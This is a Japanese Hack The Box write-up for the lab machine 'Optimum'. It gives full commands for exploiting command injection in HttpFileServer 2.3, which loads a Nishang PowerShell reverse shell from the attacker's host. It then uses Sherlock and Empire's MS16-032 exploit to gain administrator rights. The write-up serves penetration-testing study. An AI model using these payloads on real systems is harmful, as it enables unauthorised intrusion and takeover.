Hack The Box Writeup | Optimum

Optimumはwindowsのマシンで、難易度はeasyです。

・使用ツール
sherlock
Empireペイロード

流れとしては、以下のようになっています。
1.Http File Serverのコマンドインジェクションを利用してシェルを奪う
2.sherlockで特権エスカレーションの脆弱性を特定する
3.Empireのペイロードを利用して、特権エスカレーションを実行する

1.Enumeration

nmpaでオープンポートが、80であることを確認

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.8 -o ports

nmapでバージョン情報を確認を実行(-sVオプション)
「HttpFileServer httpd 2.3」を使用していることが分かります。

nmap -p80 -Pn -sV -sC -o nmap 10.10.10.8

2.Exploitation

Http File Server にはコマンドを実行できる機能があります。
https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands

この機能を利用して、シェルを取得します。
「Search」の項目で、「go」を押下した際にコマンドインジェクションが発生します。

powershellのペイロードなどをダウンロードします。

sudo git clone https://github.com/samratashok/nishang.git

ダウンロードしたペイロードをコピーします。

cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .

「Invoke-PowerShellTcp.ps1」の最終行に「Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 1234」を追記します。

echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 1234" >> Invoke-PowerShellTcp.ps1

httpサーバを立てて、ncコマンドで接続を待ち受けます。

python -m SimpleHTTPServer 8000
nc -nlvp 1234

powershellで作成したペイロードにアクセスさせます。
※PowerShellは以下のディレクトリに存在します。
c:\Windows\System32
c:\Windows\SysWow64
c:\Windows\SysNative\

%00{.exec|c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Invoke-PowerShellTcp.ps1').}

リバースシェル取得のフロー
①BurpSuiteを起動し、「Intercept is on」にする

②%00を入力し、「go」を押下

③パラメーターを下記に変更し、送ります。

%00{.exec|c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Invoke-PowerShellTcp.ps1').}

変更前

変更後(URLエンコードをさせてます)

④リバースシェルが成功します。

3.Privilege Escalation

管理者権限はないみたいなので、特権エスカレーションが必要です。

systeminfoで確認したところ、パッチはいくつか適用されています。

権限昇格の脆弱を見つけるために、sherlockを使用します。
githubからダウンロードします。

sudo git clone https://github.com/rasta-mouse/Sherlock.git

コピーします。

下記のコマンドで実行できる関数を確認し、全ての脆弱性をチェックしたいので、「Find-AllVulns」をSherlock.ps1の最終行に追記します。

grep -i function Sherlock.ps1
echo "Find-AllVulns" >> Sherlock.ps1

対象のマシンでSherlock.ps1をダウンロードすると、該当する脆弱性の一覧が表示されます。「MS16-032」の脆弱性があるので、その脆弱性を利用します。

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Sherlock.ps1')

Empireのコードを利用するため、ダウンロードします。

sudo git clone https://github.com/EmpireProject/Empire.git 

「MS16-032」のペイロードをコピーします。

使い方は「Invoke-MS16032.ps1」の中に記載されています。

「Invoke-MS16032.ps1」の最終行に「Invoke-MS16032 -Command “iex(New-Object Net.WebClient).DownloadString(‘http://10.10.14.14:8000/shell.ps1’)”」を追記します。

echo 'Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/shell.ps1')"' >> Invoke-MS16032.ps1

「Invoke-PowerShellTcp.ps1」を「shell.ps1」の名前でコピーして、最終行の待ち受けポートを「1234」から「1235」に変更します。

「1235」ポートで接続を待ち受けます。

対象のマシンでInvoke-MS16032.ps1にアクセスします。

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Invoke-MS16032.ps1')

管理者権限が取得できました。